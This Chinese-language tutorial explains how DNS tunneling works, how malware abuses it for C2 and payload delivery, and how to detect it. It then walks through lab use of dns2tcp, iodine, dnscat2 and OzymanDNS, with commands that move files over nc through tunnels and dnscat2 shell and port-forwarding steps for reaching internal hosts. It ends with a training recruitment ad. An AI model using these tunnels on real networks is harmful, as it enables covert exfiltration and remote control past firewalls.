DNS协议又称域名系统是互联网的基础设施,只要上网就会用到,因而DNS协议是提供网络服务的重要协议,在黑客进入内网后会使用DNS、ICMP、HTTP等协议隧道隐藏通信流量。本文通过DNS隧道实验并对流量进行分析,识别DNS隧道流量特征。DNS Tunneling,是隐蔽信道的一种,通过将其他协议封装在DNS协议中传输建立通信。因为在我们的网络世界中DNS是一个必不可少的服务,所以大部分防火墙和入侵检测设备很少会过滤DNS流量,这就给DNS作为一种隐蔽信道提供了条件,从而可以利用它实现诸如远程控制,文件传输等操作,现在越来越多的研究证明DNS Tunneling也经常在僵尸网络和APT攻击中扮演着重要的角色。
DNS使用端口53,你几乎可以在任何系统,防火墙和客户端上打开并进行DNS查询。DNS在我们的网络世界中是一个非常重要的协议,它将长串的不适合记忆的IP地址映射成可读性较强的字符域名。整个域名空间呈层次化的树状结构,顶层是根域,全球一共有13个根域。根域下为我们平常熟悉的顶级域,如.com,.net,.org等。域名的存储、解析和管理都要通过域名服务器来实现。根据域名所属域和授权范围可以划分Zone,Zone上的主服务器和辅服务器均被称为权威域名服务器。权威域名服务器上保存了该域的所有主机信息。
DNS的记录类型有很多,大家常见的有A,AAAA,CNAME,MX,SOA,NS等。DNS Tunneling可以利用其中的一些记录类型来传输数据。例如A,MX,CNAME,TXT,NULL等。
DNS的解析过程可以分为两种类型:迭代查询和递归查询。通常本机到Local DNS Server的过程属于递归查询,而Local DNS Server对查询域名的解析过程属于迭代查询。为了减轻Local DNS Server的压力,提高解析速度,引入了缓存机制。缓存和TTL紧密相连,当TTL过期,Local DNS Server则会丢弃缓存的数据,重新从权威域名服务器上获取新的数据。这些查询使用UDP协议,而不是TCP协议,所以它与TCP等效查询具有更低的延迟,带宽和资源。但是UDP没有错误或流量控制功能,也没有任何完整性检查以确保数据完好无损。所以互联网如何保证用户浏览网页,使用应用,聊天可靠呢?比如如果在一个实例中UDP DNS查询失败,大多数系统将在多次失败之后,可能切换到TCP; 如果DNS查询超出UDP数据报大小的限制,则也使用TCP 。DNS运行基本过程:客户端使用特定类型发送查询字符串(例如,在这种情况下为mail.google [。] com) – 通常为主机地址的A. 我已经跳过了中间DNS系统可能必须确定'.com'存在的部分,然后找出可以找到'google [。] com'的位置。
一般我们上网,无论是从搜索引擎结果转移还是直接访问网站,都会留下DNS查询痕迹。留下的多少取决于操作系统,DNS服务器(特别是启用了扩展或调试日志记录的服务器)可以收集关于请求和客户机请求的整个主机信息。可以从DNS服务器日志中收集的信息类型的一些想法; 操作此类服务器的管理员获取远程IP发送请求 – 尽管这可能是最后一跳或DNS服务器的IP,而不是确切的请求客户端的IP – 以及查询字符串本身,以及来自服务器的响应。
DNS Tunneling可以分为直连和中继两种。直连也就是Client直接和指定的目标DNS Server(Authoritative NS Server)连接,通过将数据编码封装在DNS协议中进行通信,这种方式速度快,但是隐蔽性比较弱,很容易被探测到,另外限制比较高,很多场景不允许自己指定DNS Server。而通过DNS迭代查询而实现的中继隧道,则更为隐秘,但同时因为数据包到达目标DNS Server前需要经过多个节点,所以速度上较直连慢很多。
UserA 和User B由于防火墙D的规则限制无法访问外网,但防火墙上对于DNS的流量是放行的。当User需要解析的域名Local DNS Server无法给出回答时,Local DNS Server就会采用迭代查询通过互联网与各级域的权威服务器进行查询,比如从com域的服务器得到test.com域的权威服务器地址,最后定位到所查询域的权威DNS Server,形成一个逻辑信道。所以,我们可以将通信的数据封装在客户端查询的请求中,当请求的数据包最终到达我们控制的权威DNS Server时,再从请求数据包中解析出数据,并将相应的数据封装在DNS Response中,返回给Client完成通信。(Local DNS Server可以由Remote DNS Server代替,原理相同)
中继过程中的一个关键点是对DNS缓存机制的规避,因为如果需要解析的域名在Local DNS Server中已经有缓存时,Local DNS Server就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。
对DNS载荷的编码是DNS Tunneling的另一个核心技术。从高层来看,载荷只是客户端和服务器通信的正常流量。例如客户端发送一个A记录请求给服务器,查询的主机名为
2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中
2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息,这串字符解码后的信息便是dnstunneling。
最后,因为大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以大多数工具,Client会定时向Server发送请求,保证二者之间的通信状态。
C2通常有两个目的。首先,它可以充当信标或心跳包,表明他们的远程payload仍在运行(仍然有心跳 ) 因为它正在向服务器发送(通信)。您可以将基本DNS操作看作一个心跳包的示例。如果客户端系统上的恶意软件通过DNS反复向攻击者的服务器发送查询,则攻击者可以从日志中判断出肉鸡正在运行。另一个示例,其中客户端系统受到恶意软件的攻击,该恶意软件正在构建通过DNS发送奇怪外观的查询字符串。像这样的查询仍然充当心跳指示攻击者他们的payload仍然是活跃的,但是他们还提供关于受害者的一些基本元数据,并且重要的是,如何识别一个受害者。
用户名和主机名可能并不能识别主机,但是系统确实具有通用唯一标识符(UUID)或其他属性,这些属性在组合时可以为创建唯一标识符。受感染主机的一些元数据可以作为纯文本发送,但对于在DNS查询中看到此类字符串的任何人来说,乍一看似乎更可疑。在许多情况下,数据将包含DNS不支持的字符,在这种情况下将需要编码。您可以看到元数据的base64编码等效项,它使用" – "分隔符号构造,用于在服务器端进行简单的解析和解码。
显示了来自DNS服务器应用程序的原始DNS日志的示例,其中包含恶意软件的查询和DNS服务器的响应(在本例中为NXDOMAIN(或不存在域)的行条目。在某些方面,像这样的日志,或者可能是包含来自它们的解码记录的小型数据库,可以与僵尸网络控制面板进行比较,控制面板允许黑客控制他们的僵尸系统。
Infiltration,相比之下,无论是代码,命令还是二进制文件删除磁盘和执行可能会容易得多,特别是使用DNS类型的TXT(而不是主机记录类型A)。
TXT类型旨在提供描述性文本,例如服务详细信息,联系人姓名,电话号码等,以响应对域名的TXT DNS查询。
下面显示了发送到恶意站点的相同查询,但是,请求和响应上的类型现在是TXT,响应数据包含编码的二进制可执行文件的前300个左右字符。可以由客户端恶意软件执行。再次,使用日志,攻击者将能够知道哪个客户端要求Payload。
但是,恶意软件如何知道将类型更改为TXT或何时请求"文本"数据?
在我之前的C2 DNS通信示例中,来自DNS服务器的响应是NXDOMAIN。此消息显然会到达客户端系统(和恶意软件),并且可以用于Payload的消息或指令。
NOERROR,该术语暗示一切正常 – 您的请求已得到处理并且答案等待着您。使用NOERROR可以处理响应。通常这是IPv4(用于A类型请求)或IPv6(用于AAAA类型请求)或者它可以是TXT。一个简单的例子 – IPv4地址响应 – 恶意软件不需要实际的IP与之通信,不像您的浏览器询问"google [。] com在哪里?"。
恶意软件已使用C2 over DNS与其目的地进行通信。恶意软件可以使用IP响应的是4,294,967,296个命令或指令中的任何一个。同样这个非常简单,IP的第 4 个八位字节中的特定值(例如100)可能指示恶意软件向行动者的域发送TXT DNS查询以收集和执行Payload。第一个八位字节中的值10可能意味着从操作系统和事件日志中卸载并擦除Payload的痕迹。从字面上看,选项是无穷无尽的,可能的复杂程度也是如此。鉴于攻击者可以控制DNS服务器,并且某些DNS服务器应用程序或守护进程具有高度可配置性,因此可以根据从他们发送的请求将条件响应发送回受害者系统上的恶意软件。例如,如果传入查询包含某个标志(字符)作为域名的第一个子域,则可以由在服务器上的DNS服务内运行的程序读取,并向客户端提供自定义响应。这可以用于恶意软件自动处理一组任务,并相应地向受害者报告以接收他们的下一个任务。
DNS Tunneling从提出到现在已经有了很多的实现工具,历史比较早的有NSTX,Ozymandns,目前比较活跃的有iodine,dnscat2,其他的还有DeNise,dns2tcp,Heyoka等。不同工具的核心原理相似,但在编码,实现细节和目标应用场景方面存在一定的差异性。
目前已经提出了多种检测技术,例如通过请求和相应包的大小进行监测,通常dns tunneling为了取得较大的带宽,会选择构造尽量大的dns请求和响应。还可以通过分析一定时间窗口内所产生的FQDN数,通常DNS Tunneling的FQDN数在一定时间窗口内会远高于正常的DNS流量。另外在Detecting DNS Tunnels Using Character Frequency Analysis论文中,证明了还可以通过词频的检测识别DNS Tunneling的流量。根据Zipf定律,在自然语言的语料库里,一个单词出现的次数与它在频率表里的排名成反比。正常的域名也符合这个定律。而在这篇论文中,证明了DNS Tunneling中由于域名做了编码,不符合Zipf定律,整个分布趋于平稳。另外很多DNS Tunneling使用TXT记录类型发送请求和响
应,而在正常的DNS网络流量中,TXT记录的比例可能只有1%-2%,如果时间窗口内,TXT记录的比例激增,那么也意味着存在异常。
权威DNS Server配置采用中继模式工作,所有工具的基础是需要配置一台权威DNS Server。如果没有公网域名可以从freedns注册三级域名,不过有的地区好像不可用。
注册完域名后,我们需要配置一个A记录和一个NS记录(也可以配置多个NS记录)。
1.Dns2tcp
dns2tcp是一个利用DNS隧道转发TCP连接的工具,支持KEY和TXT类型的请求,用C语言开发。它分为两个部分,服务端和客户端,服务端运行在linux服务器上,客户端可以运行在linux和windows上(其他平台没有测试过),编译完成后在服务端上的可执行文件名称为dns2tcpd,在客户端(linux)上的名称为dns2tcpc,kali默认安装了二者。下述为主要参数及解释,详情请参考手册。
dns2tcpd
-F 强制在在台运行,默认在后台
-i IP address
监听ip,默认0.0.0.0
-f 配置文件
指定使用的配置文件路径
-d debug level
指定调试级别,输出相关级别日志,默认为1,2,3
dns2tcpc
-c : 启用压缩
-z <domain> : 指定所使用的域名
-d <1|2|3> : 调试级别 (1, 2 or 3)
-r <resource> : 访问的目标资源
-f <filename> : 配置文件路径
-l <port|-> : 本地监听端口
-T <TXT|KEY> : DNS请求类型,默认为TXT
配置文件
为了避免运行时指定太多的参数,可以通过指定配置文件来启动服务端。示例如下:
listen = 0.0.0.0
port = 53
user = nobody
chroot = /tmp
domain = <domain.com>
resources = ssh:127.0.0.1:22,socks:127.0.0.1:1082,http:
127.0.0.1:3128,nc:127.0.0.1:2222
其中resource这个参数稍作解释:
格式:<name>:<ip>:<port>
其中name为自定义标识,通常为本地开启的目标服务名称,ip如果是本机为127.0.0.1, 端口则为目标服务所监听的端口,或者说服务端通过该端口将流量转发给目标服务。例如希望在服务端和客户端用nc来进行对接传输文件,我可以自定义nc:127.0.0.1:2222。
在客户端不指定resource这个参数的时候,会列出对应server可以接受的资源。
服务端
dns2tcpd -f /etc/dns2tcpd.conf -d 3
nc -l 2222 > test.txt
客户端
dns2tcpc -r nc -d 3 -z <domain.com> <server ip> -l 8888
nc 127.0.0.1 8888 < test.txt
在服务端开启dns2tcp服务,强制在前台运行,并设置调试级别,从而能比较清楚的看到服务端的日志。同时使用nc 在2222端口开启监听,将数据重定向输出到test.txt文件。
客户端通过制定nc资源,所使用的域名,目标dns server的ip,以及指定本地的8888监听端口与dns server建立通信连接,同时也用nc访问本地8888端口,并用test.txt进行重定向输入。
通过在服务端和客户端使用nc进行双向对接,我们可以利用dns2tcp完成文件传输。
初步分析
通过抓包提取dns协议里的附件字段或者直接查看在客户端打出的log,可以发现clent通过TXT类型记录的域名前缀来发出数据,通过DNS RR中的TXT记录来附加回应的内容。域名前缀和回应内容均采用base64编码,如果提取单条数据,进行base64解码,即可看到传输的内容。
从发包行为上可以发现,如果在进行传输数据这种大量数据交互操作的情况,dns2tcp会将数据切分成若干个小单元,依次发出,时间间隔非常小,而当无数据交互,空闲时,两端仍然通过发包维持通信状态,客户端大约每隔0.6s发出一个状态包。
从捕包的源IP和目的IP来看,dns2tcp并不是利用dns中继进行通信的,而是直接和目的DNS服务器(服务端)直接通信。
2.iodine
iodine是目前比较活跃,知名度比较大的一个dns tunneling实现工具,平台覆盖范围广,它可以运行在Linux, mac OS X, FreeBSD, NetBSD, OpenBSD 和 Windows上,甚至还有Android客户端,不过它需要安装TUN/TAP。官方称上行速度最大680 kbit/s,下行速度上限可以达到2.3Mbit/s。
官网上给出了安装方法,可以通过make &make install安装。另外,如果在centos 7上,我发现可以通过yum直接安装。而在kali中,也可以通过apt-get直接安装。
在iodine的测试过程中,我使用过3家公用dns,分别是阿里的dns-223.5.5.5,dnspod的dns-119.29.29.29,谷歌dns-8.8.8.8。阿里dns在中继模式下无法指定NULL类型的查询请求,而DNSPOD和google可以,且同为国内dns,阿里的速度不如dnspod,这个因具体网络环境不同,国内两家dns在中继模式下传输3M文件,需手调参数,自动模式下很容易传输中途失败。而谷歌dns速度明显较国内两家快很多,自动模式下即可轻松完成传输。
服务端:
iodined -c -P 123pass 192.168.99.1 <domain.com> -DDD
nc -l 1234 < test.txt
客户端:
iodine -f -P 123pass <domain.com> -r
nc 192.168.99.1 1234 < test.txt
使用dnspod时,客户端指定某些参数以完成整个传输
iodine -f -P 123pass <domain.com> -r -T CNAME -O base64u -m 512 -L0
iodine支持直接转发和中继两种模式。客户端和服务端建立通信后,可以看到客户机上多出一块名为dns0的虚拟网卡。iodine支持NULL,TXT,SRV,MX,CNAME,A等多种查询请求类型,并且支持EDNS,支持base32,base64,base128等多种编码规范。iodine在直连模式下,速度相当可观,我试过建立隧道后,用ssh做代理转发,可以流畅播放youtube 1080p,原理暂未分析。在中继模式下,使用谷歌的dns,也是Dns Tunneling工具中速度最快的。更多使用方法和功能特性请参考官方文档。
3.Dnscat2
Dnscat2的定位是一个封装在DNS协议中加密的命令与控制(C&C)信道。它同样是C/S架构,Client位于感染主机,而Server位于权威域名服务器上,如果没有权威域名服务器,则可以采用直连模式。作者很坚持Dnscat2是一个命令与控制工具,并非像其他的DNS Tunneling工具一样可以用来摆脱web收费验证,免费上网。
Dnscat2客户端基于C开发的,服务器端基于ruby开发。github官方主页上给出了详细的安装步骤及可能遇到的问题,请参考github Readme。
在测试过程中,我原本使用的DNS是dnspod的公用dns,但是发现包传输出错率较高,延迟大,可能由于我的vps在境外,所以改用google 8.8.8.8后,效果明显好转。可能因具体网络环境而异。
服务端:
ruby ./dnscat2.rb <domain.com>
客户端:
./dnscat2 <domain.com>
服务端建立好后,可以用如下命令测试Client是否能和服务端成功建立通信。
./dnscat --ping <domain.com>
Dnscat2服务端的是交互模式,作者说采用这种设计是受metasploit和 meteprete的启发。而服务端的使用方法也确实和metasploit和meteprete的使用方法类似,所以大家应该不难上手。
客户端和服务端建立通信后,就没有客户端什么事了,服务端此时处于交互模式下,作者为大家提供了很多windows来作为管理会话和连接的窗口,默认为主window,用windows可以查看目前有哪些window存在,每个连接都是一个独立的window,window -i 1进入1号window,此时可以用help命令还查看都有哪些功能,如下所示:
clear delay download echo exec listen ping shell
其中,shell可以建立到对应客户端的shell,download可以直接下载文件,不过需要注意的是download默认是将所有的数据先写入缓存,最后一次写入硬盘,所以在传输较大文件时,很长时间会发现没有文件产生。
在window下有个listen的功能,它提供了端口转发的功能,可以通过它直接渗透内网。使用方法类似SSH -L。
listen [lhost]:[lport] [rhost]:[rport]
以上传文件为例:
客户端A:10.211.55.1
内网某机器B:10.211.55.2
服务端(DNS)C: 172.16.18.2
此时,A和C已经建立连接。
服务端C命令:
listen [127.0.0.1]:2222 10.211.55.2:1234
nc 127.0.0.1 2222 < test.txt
客户端A:
nc -l 1234 > test.txt
Dnscat2 默认是加密的,服务端可以通过–security=open关闭加密。可以提高传输的稳定性。
Dnscat2 还提供了多域名并发特性,可以将多个子域绑定在同一个NS下,然后在服务端同时接收多个客户端连接。不过,没有找到一个客户端连接利用多域名通信的方法,不知道作者有没有实现这个功能。
操作命令如下:
服务端
ruby dnscat2.rb --dns=port=53532 --security=open
dnscat2> start --dns domain=<domain.com>,domain=<domain.com>
客户端:
./dncat <domain.com>
我试过 "./dncat –dns domain=,domain=",想在一个客户端利用多域名通信,然而通过抓取流量分析,还是只用了一个域名。
Dnscat2 利用的DNS请求类型默认是TXT,CNAME,MX随机混合使用,可以在运行时通过参数自定义。
4.OzymanDNS
OzymanDNS是较早的一个工具,它基于perl开发,我只在作者博客上找到了一个0.1版本,它的主要功能就是结合ssh做文件传输。请求类型是TXT,用base32编码,响应用base64编码。
OzymanDNS需要依赖其他的perl模块,所以安装的时候需要根据提示完成一些其他的依赖。
服务端:
./nomde.pl -i 0.0.0.0 <domain.com>
nc -l 1234 > test.txt
客户端:
ssh -o ProxyCommand="./droute.pl sshdns.domain.com" -L 7777:127.0.0.1:1234 -Nf
user@host
nc 127.0.0.1 7777 < test.txt
客户端使用了SSH -L 的端口转发功能。
在示例的文件传输过程中,每16k写入一次硬盘。Ozymandns的功能较单一,不如前几个那么稳健强大。而且年久失修,只能作为一个参考,我在测试过程中,始终无法顺利完成一个大于1M的文件传输。
通过对四个工具的测试,Ozymandns是比较老旧了,功能单一,没有实用价值。Dns2tcp采用直连,但速度不是特别乐观,优势在于kali直接集成了这个工具,部分linux发行版也都可以直接通过包工具下载,相对方便。iodine和Dnscat2则是目前的主流,Dnscat2提供了灵活的交互模式,而iodine则在编码,请求类型上提供了更丰富的选择,而且在速度方面,其他工具望尘莫及。
DNS是非常强大的工具,几乎可以在任何地方使用,允许应用程序和系统查找与之交互的资源和服务。DNS提供了一个通信基础,使更高级别和更强大的协议能够运行,但从安全角度来看,这可能意味着它被忽略,特别是当您考虑通过电子邮件协议传送多少恶意软件或使用HTTP从Web下载时。出于这些原因,DNS是黑客的完美选择,以利用来自受感染主机的通信。Unit 42已经看到多个恶意软件实例及其背后的参与者滥用DNS以实现其目标,如本报告所述。无论是使用Palo Alto Networks的安全操作平台还是开源技术,组织都可以通过多种不同的方式保护自己免受DNS隧道攻击。
从月薪3000到年薪35W,一个网络安全行业的职场逆袭故事。想入行,可以私信我,发“入行”两个字拿学习资料。#小白入行网络安全#